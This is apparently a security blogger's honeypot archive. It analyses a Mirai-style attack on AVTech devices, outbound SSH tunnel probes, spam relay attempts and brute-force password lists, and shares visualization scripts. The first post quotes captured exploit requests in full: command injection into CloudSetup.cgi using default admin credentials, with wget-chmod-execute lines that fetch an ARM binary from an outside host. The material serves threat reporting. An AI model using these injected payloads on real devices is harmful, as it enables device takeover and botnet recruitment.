Archive for the ‘honeypot’ tag

Yet another Mirai strain targeting AVTech devices  

Posted at 8:21 am in Uncategorized

My Suricata IDS triggered on an HTTP request to my honeypot this morning:

ET WEB_SERVER Suspicious Chmod Usage in URI

 

Further investigation revealed this incoming request:

 POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget%20-O%20/tmp/Arm1%20http://172.247.x.y:85/Arm1;chmod%200777%20/tmp/Arm1;/tmp/Arm1 HTTP/1.1
 Host: [redacted]
 Connection: keep-alive
 Accept-Encoding: gzip, deflate
 Accept: */*
 User-Agent: python-requests/2.13.0
 Content-Length: 0
 Authorization: Basic YWRtaW46YWRtaW4=

 

The request seems to take advantage of a vulnerability in AVTech devices, described here, here and here (and elsewhere).

URL decoding the query string yields the following commands (formatted for readability, and URL redacted to avoid accidental downloads):

wget -O /tmp/Arm1 http://172.247.x.y:85/Arm1
chmod 0777 /tmp/Arm1
/tmp/Arm1

 

In other words, the request will trick the targeted device into downloading a file, changing the file’s permissions, and excute it locally. The Arm1 file identifies as follows:

Arm1: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.14, not stripped

 

The IP address performing the request, 137.59.18.190, belongs to a company in Hong Kong (but registered with Korea Telecom). The IP from which the binary is downloaded, 172.247.116.21, seems to belong to a U.S. cloud provider. At the time of writing, no antivirus provider used by VirusTotal knows anything about the URL or the downloaded file, and the anlyz malware analysis sandbox finds nothing wrong with it. However, judging from the nature of the request I think it’s safe to assume that this is most likely malicious, possibly another Mirai strain or something equivalent.

This blog post will be updated with more details. A full packet capture is available, but since the request only reached my honeypot it won’t be very useful.

 

Update #1: An additional request

I’ve seen additional requests, trying to download the same file but probably through a different vulnerability. This is the request – a GET instead of the previous POST:

GET /cgi-bin/;wget%20-O%20/tmp/Arm1%20http://172.247.a.b:8080/Arm1;chmod%200777/tmp/Arm1;/tmp/Arm1 HTTP/1.1

 

For this request, the requesting IP (137.59.19.132) is registered to the same Hong Kong company and the IP hosting the ARM binary (172.247.116.3) belongs to the same U.S. cloud provider.

 

Update #2: The binary’s content

The ARM binary seems to include some kind of proxy which seems to be named “wake”, including wrapper scripts. Using strings(1), the script excerpts below are found from the binary:

#!/bin/sh
 while true;do
 server=`netstat -nlp | grep :39999`
 if [ ${#server} -eq 0 ] ; then
 nohup %s -c 1 &
sleep 5
done

 

and

#!/bin/sh
### BEGIN INIT INFO
# Provides: wake
# Required-Start: $remote_fs
# Required-Stop: $remote_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Start or stop the HTTP Proxy.
### END INIT INFO
case "$1" in
 start)
 nohup /usr/bin/wake -c 1 &
 ;;
 stop)
 ;;
esac

 

Judging from the scripts, the “wake” proxy listens on port 39999. The IP address 192.154.108.2 (GorillaServers, Inc., US) is also seen in the binary.

 

Update #3: Other observations

Some IPs in the same ranges as well as similar download URLs are reported as seen in other peoples’ honeypots as well, along with the ARM binary’s hashes.

 

Update #4: detux

Among other things, analyzing the binary in detux confirms the mentioned IP address, finding it will connect to 192.154.108.2:77. The IP and socket are available and listening but gives no sensible response. Best guess: Command and control station.

Written by bjorn on February 27th, 2017

Tagged with , , , , , ,

How to produce AfterGlow diagrams from Cowrie  

Posted at 9:34 am in Uncategorized

I’ve been receiving a few questions on how to produce the AfterGlow diagrams from Cowrie logs, described in an earlier blog post. Instead of repeating myself through email requests, an explanation here will be better.

First of all, you will need to decide what you want to visualize. Showing the different attackers targeting a Cowrie honeypot has limited value (and can be visualized with something much simpler than AfterGlow). Showing the next steps of the intruders, however, is a job well suited for AfterGlow.

Based on the intruders’ behaviour in Cowrie, where a few intruders use a limited number of ports to try to connect to multiple target IPs, the CSV input to AfterGlow should reflect this, so we’ll need the following format:

source_IP,dest_port,dest_IP

 

Below is a Cowrie log line showing that the intruder from IP 5.45.87.184 attempts to contact the target IP 216.58.210.36 on port 443 (formatted for readability):

2017-01-16 15:32:30+0100 [SSHService ssh-connection on
HoneyPotSSHTransport,9704,5.45.87.184] direct-tcp connection
request to 216.58.210.36:443 from localhost:5556

 

To convert this into CSV that AfterGlow will accept, I wrote a short parser script. This can be done in most languages, I used Perl:

#!/usr/bin/perl

use strict;
use warnings;

while (<>) {
 if ($_ =~ /HoneyPotSSHTransport,\d+,(.*?)\].* to (.*?):(\d+) /) {
  print "$1,$3,$2\n"
 }
}

 

The Perl code was saved as /usr/local/bin/cowrie2csv.pl on the host running Cowrie.

Since I’m creating the graphs on a different server that where Cowrie is running, I wrote a bash wrapper to tie it all together. Note the quotes that separate what’s run locally and what’s run on the Cowrie server.

#!/bin/bash

MYDATE=$(date +%Y-%m-%d)
if [ "$1" = "yesterday" ]; then
 MYDATE=$(date +%Y-%m-%d -d yesterday)
fi

ssh honeypot "grep '${MYDATE}.*direct-tcp connection request' \
 /home/cowrie/log/cowrie.log* | \
 /usr/local/bin/cowrie2csv.pl" | \
 /usr/local/bin/afterglow.pl \
 -c /usr/local/etc/afterglow/color.properties | \
 /usr/bin/neato -T png > \
 /var/www/html/cowrie-afterglow-${MYDATE}.png

 

The color.properties file contains my AfterGlow preferences for this kind of diagrams, and contains the following:

color.source="red"
color.edge="lightgrey"
color.event="lightblue"
color.target="yellow"

maxnodesize=1;
size.source=$sourceCount{$sourceName};
size.event=$eventCount{$eventName};
size.target=$targetCount{$targetName};
size=0.2
sum.source=0;
shape.target=triangle

 

Now everything can be added to Cron for continuously updated graphs. I’m running the bash script once an hour through the day, and then just after midnight with the “yesterday” argument so that yesterday’s graphs are completed. These are the contents of /etc/cron.d/cowrie-afterglow:

15  * * * * root /usr/local/bin/cowrie2afterglow.sh
10 00 * * * root /usr/local/bin/cowrie2afterglow.sh yesterday

 

 

Now, depending on the popularity of your honeypot, you may or may not get useful graphs. Below is a graph showing 24 hours of outbound connection attempts from my honeypot, in which case it could make sense to limit the input data.

AfterGlow diagram of Cowrie outbound activity

AfterGlow diagram of Cowrie outbound activity

Written by bjorn on January 17th, 2017

Tagged with , , , , , ,

Beneficial side effects of running a honeypot  

Posted at 11:42 pm in Uncategorized

Spam (the non-electronic version)

I’ve been running a honeypot for quite a while now, it started out as a pure SSH honeypot – first with Kippo and then I migrated to Cowrie. Some time later I added more honeypot services to the unit in the form of InetSim. The InetSim software provides multiple plaintext services like HTTP, FTP, and SMTP, as well as the encrypted versions.

HTTP and FTP are services where the intruders will try to download something from the honeypot, and InetSim will serve them a predefined set of standard sample documents. The HTTP and FTP also allow uploads, in which case any submitted content will be saved for future analysis by the honeypot administrator.

However, the funniest side effect of running InetSim – at least so far – is with its SMTP service. Spammers will happily use this, what they will think is a newly discovered “open relay”, for distributing annoying spam and/or more malicious phishing mail. All the spam they push through the service acting like an MTA will of course be sinkholed (and saved locally), while they most likely believe that they have distributed their content.

As the below table listing the last two weeks’ top 10 most active spammer IPs shows, the most active spammer “successfully delivered” no less than 300 000 spam messages through (or rather to) the honeypot SMTP. The honeypot itself will obviously drop those mails to the ground, and if the software hadn’t done it (or if the attacker had found a way to break out of the honeypot), the honeypot resides in a very strictly controlled environment ensuring that no spam would’ve found its way out anyway.

IP addressNumber of spam mails
94.42.123.202300000
190.147.197.5286724
89.201.166.214130026
41.203.71.18256947
202.84.75.16645724
213.180.20.15441164
217.171.20.23427891
2.180.17.1422923
162.213.37.11921767
31.168.210.7014909

While neither spam, phishing mails nor open mail relays are normally laughing matters, I truly enjoy knowing that the spammers have wasted their time with a non-functional mail server believing that they got their job done. One can also hope that the people behind the spam/scam pays for their service.

Written by admin on July 13th, 2016

Tagged with , , , , ,

SSH outbound connections – what are they trying?  

Posted at 10:38 pm in Uncategorized

Still fascinated by the outbound connection attempts from my Cowrie honeypot, I’ve been looking into what the intruders are trying to obtain with the outbound connections. As previously mentioned, there are bots actively attempting outbound connections towards a lot of remote services. Most are simply TCP socket connection attempts, but now and again the connection attempts hold payload data. Payload for encrypted services (SMTPS, HTTPS etc) is already encrypted. That leaves the plaintext services, mostly SMTP and HTTP.

The following Munin graph shows today’s activity. At their busiest, the Russian bots performed outbound connection attempts at a rate of 17 attempts per minute (one per 3-4 seconds).

There are a few attempts to connect to mail servers. The following EHLO greetings, i.e. how the intruders try to introduce the honeypot when connecting, are among the ones observed:

EHLO essex1.com

 

EHLO garagedoorrepairelpaso-tx.com

 

EHLO tx.rr.com

 

EHLO xtreme-xposure.co.za

 

The remaining attempts described here are HTTP requests. The requests are for the web root (GET /) unless otherwise noted. All requests have more headers than what’s shown here, I’ve pruned the less interesting ones for readability.

The bots attempt several requests towards “check my IP” sites, perhaps to check connectivity and/or to detect the outside IP in a NATed environment:

Host: www.check2ip.com

 

Host: www.ip-score.com

 

Host: checkip.dyndns.com

 

GET /ip.php?i=193.169.52.210:14032 HTTP/1.1
Host: vlg97.ru
Accept-Language: ru-RU,ru

 

GET /showmyip.php HTTP/1.1
Host: vipvpn.com

 

Then there are some attempts to reach URL shorteners. Ignoring the fact that these headers are crafted, the Google referers are obviously fake since a Google HTTPS search will not pass the referer to an HTTP site.

GET /make_url.php HTTP/1.1
Host: shorturl.com
Referer: https://bitly.com/shorten

 

Host: is.gd
Referer: https://bitly.com/shorten/

 

Host: is.gd
Referer: http://bit.do/

 

Host: arurl.co
Referer: https://www.google.com/search?q=http://arurl.co/

 

Host: scurteaza.link
Referer: https://www.google.com/search?q=http://scurteaza.link/

 

POST /mod_perl/url-shortener.pl HTTP/1.1
X-Requested-With: XMLHttpRequest
Host: bit.do
Referer: http://bit.do/
Cookie: permasession=145xxxx290|pscxxxxzxq

 

They’re also trying to connect to Craigslist. These attempts have started to appear the last few days. Note: Parts of the URLs are obfuscated.

GET /reply/eau/m4w/548xxxx413 HTTP/1.1
Referer: http://eauclaire.en.craigslist.org/m4w/548xxxx413.html
Host: eauclaire.en.craigslist.org
X-Requested-With: XMLHttpRequest

 

GET /reply/evv/m4w/550xxxx297 HTTP/1.1
Host: evansville.en.craigslist.org
Referer: http://evansville.en.craigslist.org/m4w/550xxxx297.html

 

GET /reply/hez/m4w/546xxxx191 HTTP/1.1
Host: batonrouge.craigslist.org
User-Agent: Mozilla/5.0 (Nintendo WiiU) AppleWebKit/534.52 (KHTML, like Gecko) NX/2.1.0.10.9 NintendoBrowser/1.5.0.8047.EU
Referer: http://batonrouge.craigslist.org/m4w/546xxxx191.html
X-Requested-With: XMLHttpRequest

 

The function of the below connection attempts are still unexplored:

POST /GetSignedKey_new1.php HTTP/1.0
Connection: keep-alive
Host: instabot.ru
User-Agent: Instagram 5.0.0 Windows Phone (8.10.14147.180; 480x320; NOKIA; tAbd_apiM; uk_UA)

 

POST / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: work.a-poster.info
data=cfaxxxxaebacbdaf

 

POST / HTTP/1.1
Host: work.a-poster.info
data=cfbxxxxdeadecaa

Some statistics describing the honeypot activity the last few weeks, only counting the intruders that are also attempting outbound connections:

Attempts Originating IP
13353 193.169.52.221
9816 193.169.52.214
6344 193.169.52.213
4246 193.169.52.220
620 193.169.52.211
435 193.169.52.212
105 193.169.52.210
17 193.201.225.84
6 193.201.227.200
5 193.201.227.52
2 193.201.227.8
2 193.201.227.70
1 193.201.227.18
1 125.212.232.210

 

Written by bjorn on March 22nd, 2016

Tagged with , ,

Visualizing honeypot activity  

Posted at 5:02 pm in Uncategorized

Certain honeypot intruders are quite persistently trying to open outbound SSH tunnels, as described in an earlier article. So far I’ve seen a lot of attempts to open tunnels towards mail server TCP ports 25 (SMTP), 465 (SMTPS) and 587 (submission); web servers on TCP ports 80 (HTTP) and 443 (HTTPS); but also several other TCP ports.

For visualizing the activity, I fed the logs to AfterGlow. Below is shown a diagram of attempted SSH tunnels, where the intruders’ IP addresses are shown as red circles, the ports to which they attempt to connect are are light blue, and the targets are yellow triangles.

As the diagram shows, certain targets are attacked from different intruders (although with adjacent IP addresses). The objects’ sizes indicate frequency.

 

Simple honeypot map (one day only)

Simple honeypot map (one day only, low activity)

 

Another diagram, illustrating the frequency of attacks:

Medium complexity, still mostly readable.

One day of activity, two attackers. Still mostly readable.

 

Feeding two weeks of logs to AfterGlow was less informative. The graph clearly shows that certain sources are very busy, and certain destinations are frequently attacked – but that’s about where the diagram stops being useful.

Complex honeypot mapping (two weeks)

Complex honeypot map (two weeks)

 

In combination with some drill-down details, AfterGlow could be quite useful for analyzing details. I’ve got two items on my AfterGlow wishlist: 1) that labels go on top of objects, and 2) better avoidance logic so that objects do not cover other objects.

The corresponding Munin graph is also registering SSH tunneling attempts.

Honeypot activity

Written by bjorn on February 26th, 2016

Tagged with , , , ,

Honeynet outbound probes  

Posted at 8:42 am in Uncategorized

My Cowrie honeypot is now seeing a surge of outbound SSH tunnel probes, both towards different mail servers but also towards a specific web server, probably with the purpose of informing about a successful intrusion. The honeypot has seen outbound attempts before, but not as persistent as with this bot from .ru.

Cowrie fakes successful SSH tunneling, so the bot is at least kept somewhat busy. The honeypot is also in a very tight network environment with limited possibilities for outbound connections.

Here are some examples, formatted for readability:

2016-02-22 01:43:00+0100 [SSHService ssh-connection on
  HoneyPotTransport,1580,193.169.52.214] direct-tcp connection
  request to 69.50.231.136:25
2016-02-22 01:43:01+0100 [SSHService ssh-connection on
  HoneyPotTransport,1580,193.169.52.214] direct-tcp connection
  request to 202.108.6.242:587
2016-02-22 01:43:54+0100 [SSHChannel None (883) on
  SSHService ssh-connection on HoneyPotTransport,1580,193.169.52.214]
  direct-tcp forward to 64.233.164.108:465 with data
  '\x16\x03\x01\x00S\x01\x00\x00O\x03\x01V\x15\xbc\xc0\x0c
   \x8fK\xf4\x9d\xb4\xecx\xaf\x13t;\xdeR\xf6c\r6\x93sv\xc7
   \xacXq\xd0\xe8\x02\x00\x00(\x009\x008\x005\x00\x16\x00
   \x13\x00\n\x003\x002\x00/\x00\x07\x00\x05\x00\x04\x00
   \x15\x00\x12\x00\t\x00\x14\x00\x11\x00\x08\x00\x06\x00\x03\x01\x00'
2016-02-22 02:00:28+0100 [SSHChannel None (979) on
  SSHService ssh-connection on HoneyPotTransport,1580,193.169.52.214]
  direct-tcp forward to 37.1.206.139:25000 with data
  'POST / HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
   Windows NT 5.1; SV1)\r\nContent-Type: application/x-www-form-urlencoded\r\n
   Connection: close\r\nContent-Length: 21\r\nHost: work.a-poster.info\r\n\r\n'
2016-02-22 03:39:18+0100 [SSHChannel None (0) on
  SSHService ssh-connection on HoneyPotTransport,1589,193.169.52.212]
  direct-tcp forward to 37.1.206.139:80 with data
  'POST / HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
   Windows NT 5.1; SV1)\r\nContent-Type: application/x-www-form-urlencoded\r\n
   Connection: close\r\nContent-Length: 21\r\nHost: work.a-poster.info\r\n\r\n
   data=ffddaffeccedabae'

 

Written by bjorn on February 22nd, 2016

Tagged with , , ,

More Logstalgia fun: Honeypot visualization  

Posted at 7:37 pm in Uncategorized

As the saying goes, when all you have is a hammer, everything looks like a nail. Well, it’s not that bad, but with a tool like Logstalgia available there’s a pretty low threshold for looking for other ways to use it. So why not try visualizing honeypot login activity?

I’ve been running a honeypot for some time, first using Kippo and later switching to Cowrie. Among Cowrie’s useful improvements is the ability to log to syslog. Already having a parser in place for converting syslog activity to a feed that Logstalgia accepts, adding Cowrie-to-Logstalgia support didn’t take much effort.

An additional parameter is added to indicate successful logins (at least from the intruder’s point of view), Logstalgia intuitively shows this by making the paddle not block the attempt. Also, instead of faking some status code, I set up the converter to assign the login name to the “URL” field and the password to the “status code” field. That way Logstalgia shows consecutive attempts with the same login name as a series of attacks on the same resource, while the different attempted passwords bounce off the paddle.

Note that the short video is running at 4x normal speed. You’ll have to click to make it start.

Sample syslog input (slightly redacted for readability):

cowrie: [SSHService ssh-userauth on HoneyPotTransport,446,121.170.193.173] login attempt [ts/ts] failed
cowrie: [SSHService ssh-userauth on HoneyPotTransport,447,121.170.193.173] login attempt [apache/apache] failed
cowrie: [SSHService ssh-userauth on HoneyPotTransport,448,121.170.193.173] login attempt [games/games] failed
cowrie: [SSHService ssh-userauth on HoneyPotTransport,449,121.170.193.173] login attempt [minecraft/minecraft] failed

 

The corresponding Logstalgia feed:

1454690993|121.170.193.173|ts|ts|20|1
1454691002|121.170.193.173|apache|apache|20|1
1454691006|121.170.193.173|games|games|20|1
1454691010|121.170.193.173|minecraft|minecraft|20|1

 

The output was fed to Logstalgia like this:

cat output.txt | logstalgia -600x200 -g "Login,URI=^[a-zA-Z0-9],100" -x -

 

With live visualization via syslog, the data is fed to Logstalgia directly and not from a file like shown above.

For a nice final touch, I’ve also added a Munin graph showing honeypot login attempts. The graph was made with the “loggrep” plugin, looking for corresponding values.

Written by bjorn on February 9th, 2016

Tagged with , , , , , ,

Localized SSH bruteforce attempts  

Posted at 10:24 pm in Uncategorized

Lately, my honeypot has seen an upsurge in SSH bruteforce login attempts. Among quite a few attackers, one particular IP address in Italy – 79.0.43.89 – is seen more often than the others. I’m seeing login attempts from this IP on other systems as well, so this is a busy one.

What’s funny about this round is that the attackers seem to use localized name lists, as I’ve registered a lot of Norwegian-looking names. The attacker/botnet script tests SSH logins with login name and the number 1 appended to it as a password (e.g. adam / adam1), so if your password is your login name + 1 you should change it ASAP 🙂

It’s also worth noting that there are only boys’ names on the list…

This is the most recent extract:

adam
aleksander
anders
andre
andreas
arne
aslak
bendik
bjorn
christian
daniel
eirik
erik
feliks
gabriel
geir
gunnar
henrik
henry
inge
isak
jacob
jason
jo
johan
jonas
junior
knut
konrad
kristian
lars
lasse
magnus
marius
markus
martin
ole
pal
peter
philip
runar
sander
sigve
simen
sindre
snorre
stian
sveinung
thor
thorbjorn
tom

Written by bjorn on December 18th, 2015

Tagged with , ,

Honeypot password attempts  

Posted at 10:58 am in Uncategorized

After running a small SSH-only honeypot for a week or so, I’m a bit surprised with the complexity of some of the attempted passwords. The passwords that are most frequently attempted are quite simple, as shown in the top 5 passwords for the root account:

root
[no password]
123456
synopass
!Q@W#E

These are less obvious:

dmiwoqewq4561e3wq
get_remote_ipaddr
(yes, really!)
IF1AT9v6VaYmBkMneylI
NJglWpmSQ60etyio
sheiph7cus1ieChi
SmartGen!VDI2013
VodaHoriALeBlbe45*
WSX831102edc3831rfv
zxczxczxczcxzxcxzczxc
zxczxczxczxczcxzxczxc
zxczxczxczxczxczcxzxc

Some of these seem to be used by the same botnets, as they follow similar curves in Dshield‘s observations. The three last ones (zxc...) have not yet been listed by Dshield.

Written by bjorn on October 17th, 2015

Tagged with , , ,